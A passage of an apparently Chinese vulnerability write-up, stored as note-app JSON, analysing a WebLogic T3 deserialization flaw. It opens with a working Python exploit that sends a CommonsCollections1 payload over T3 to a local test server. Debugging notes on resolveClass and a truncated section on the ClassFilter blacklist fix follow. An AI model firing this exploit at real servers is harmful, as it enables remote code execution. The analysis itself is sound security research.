T3Exploit(ip,port,payload):&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4MiV-1673503823703&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;m9S2-1673503823702&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gEiZ-1673503823706&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dKrZ-1673503823705&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sock.connect((ip,port))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8v3P-1673503823708&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CA7z-1673503823707&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    handshake = \&#34;t3 12.2.3\\nAS:255\\nHL:19\\nMS:10000000\\n\\n\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X4Rl-1673503823710&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6Cu3-1673503823709&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sock.sendall(handshake.encode())&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;13IQ-1673503823712&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Yumg-1673503823711&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    data = sock.recv(1024)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;npKH-1673503823714&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1fvT-1673503823713&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    compile = re.compile(\&#34;HELO:(.*).0.false\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TmVs-1673503823716&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XZEc-1673503823715&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    match = compile.findall(data.decode())&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZdUo-1673503823718&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xG4S-1673503823717&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if match:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cCC5-1673503823720&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yk7D-1673503823719&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        print(\&#34;Weblogic: \&#34;+\&#34;\&#34;.join(match))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Pm0q-1673503823722&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7W1E-1673503823721&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    else:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uiri-1673503823724&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;txqo-1673503823723&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        print(\&#34;Not Weblogic\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ctJG-1673503823726&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YRUi-1673503823725&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4zQu-1673503823728&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KST2-1673503823727&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    header = binascii.a2b_hex(b\&#34;00000000\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vCFM-1673503823730&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QghN-1673503823729&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    t3header = binascii.a2b_hex(b\&#34;016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wzMr-1673503823732&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tm0p-1673503823731&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    desflag = binascii.a2b_hex(b\&#34;fe010000\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cXXx-1673503823734&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gTJb-1673503823733&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    payload = header + t3header  +desflag+  payload&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZpTQ-1673503823736&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4IWA-1673503823735&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    payload = struct.pack(\&#34;&gt;I\&#34;,len(payload)) + payload[4:]&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lUDD-1673503823738&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cuKj-1673503823737&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sock.send(payload)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xTGM-1673503823740&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ekgt-1673503823739&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;if __name__ == \&#34;__main__\&#34;:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0Yhy-1673503823742&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ntO4-1673503823741&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ip = \&#34;127.0.0.1\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;k9yL-1673503823744&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xSE5-1673503823743&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    port = 7001&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LORI-1673503823746&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5GGa-1673503823745&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    gadget = \&#34;CommonsCollections1\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LhzG-1673503823748&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LqpJ-1673503823747&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    cmd = \&#34;touch /tmp/success\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BtuA-1673503823750&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yR4k-1673503823749&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    payload = generatePayload(gadget,cmd)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Uuvt-1673503823752&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Wz0s-1673503823751&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    T3Exploit(ip,port,payload)&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;python&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5nBV-1673505956440&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qvac-1673505956441&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;大概利用过程如下：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;80kL-1673505922919&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4973/WEBRESOURCE7741c0cb5cd0bb05e84982082d40fe8a&#34;,&#34;width&#34;:2058,&#34;height&#34;:1616},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DdYR-1673506013072&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4977/WEBRESOURCEccc5a5f8e5079158d38c7553f31bd81b&#34;,&#34;width&#34;:1900,&#34;height&#34;:384},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Hpsd-1673505977742&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;knWh-1673505977741&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;代码调试：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kh2F-1673513147126&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cgza-1673513147125&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VOLo-1673513129049&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//wlserver/server/lib/wlthint3client.jar/weblogic/InboundMsgAbbrev.readobject()&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bLGw-1673513153562&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XFvy-1673513153561&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#222222&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Svvc-1673513148012&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I54x-1673513148010&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;private Object readObject(MsgAbbrevInputStream var1) throws IOException, ClassNotFoundException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2pbI-1673513148357&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N827-1673513148356&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    int var2 = var1.read();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vIEK-1673513148359&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d4dt-1673513148358&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    switch (var2) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AVY3-1673513148361&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fiPY-1673513148360&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        case 0:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uDAn-1673513148363&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;C5Qg-1673513148362&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return (new ServerChannelInputStream(var1)).readObject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aX1s-1673513148365&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZIck-1673513148364&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        case 1:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b1SO-1673513148367&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vynk-1673513148366&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return var1.readASCII();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7q9q-1673513148369&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JBmQ-1673513148368&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        default:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nbAv-1673513148371&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;z0P3-1673513148370&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new StreamCorruptedException(\&#34;Unknown typecode: &#39;\&#34; + var2 + \&#34;&#39;\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8L9s-1673513148373&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XeUQ-1673513148372&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tzF2-1673513148375&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lTEz-1673513148374&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;r2Di-1673503857432&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;33yf-1673503857430&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在此处下断点，可看到已修改后的序列化数据：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;erBf-1673513620237&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4988/WEBRESOURCE395ada51a921d3ea0426dc971ffa6a44&#34;,&#34;width&#34;:2924,&#34;height&#34;:1840},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LaE9-1673503857588&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Xhia-1673503857586&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;通过ServerChannelInputStream.resovleClass()方法加载类：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zB5B-1673516023193&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4990/WEBRESOURCE1fd4219ed48a8943c32fb3ccaf259332&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5aHA-1673516000234&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6q5Q-1673516000230&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;而ServerChannelInputStream继承自ObjectInputStream，而此处的resolveClass方法也是调用父类方法未有任何处理，故造成反序列化漏洞：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;T0xg-1673516194234&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4999/WEBRESOURCE163b2ba99b23a2d551e78baa34adcc48&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qIDH-1673516092384&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jRxd-1673516092383&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;下面就是正常的反序列化利用链流程了。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7N7r-1673575111769&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9bmv-1673575111767&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;引用文章中的流程图：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gYBu-1673575131643&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5003/WEBRESOURCEf8cbc43c54ba1ee20cccdb3fd88698bd&#34;,&#34;width&#34;:516,&#34;height&#34;:374},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;paG0-1673575257921&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;L1cW-1673575257922&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;F5Ou-1673575246253&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gTze-1673575246251&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;修复方案&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AbQq-1673575129876&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QANw-1673575129874&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic选择resolveClass中添加类黑名单用于过滤反序列化利用链中所涉及的类，在其中一个补丁包中我们可以看到这个isBlackListed方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BipM-1673851025772&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5063/WEBRESOURCE7c417fdfe4ae88b117648c902dbb7d7a&#34;,&#34;width&#34;:691,&#34;height&#34;:428},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9Yz7-1673851060514&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dzsg-1673851060515&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;来自ClassFilter，过滤反序列化攻击所使用的关键类：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YMdw-1673851060513&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4ReW-1673851060512&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QhHo-1673850998736&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;package weblogic.rmi;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2vL2-1673851061228&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kP5Q-1673851061227&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0dNA-1673851061230&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vzJd-1673851061229&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.HashSet;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nK4J-1673851061232&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WVBD-1673851061231&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.StringTokenizer;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TCFd-1673851061234&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8znX-1673851061233&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CFCI-1673851061236&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LPuc-1673851061235&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public abstract class ClassFilter {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4YRF-1673851061238&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8SxX-1673851061237&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  static final String BLACK_LIST_PROPERTY = \&#34;weblogic.rmi.blacklist\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SlHx-1673851061240&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BaLp-1673851061239&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0hAe-1673851061242&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;973I-1673851061241&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  static final String DISABLE_DEFAULT_BLACKLIST_PROPERTY = 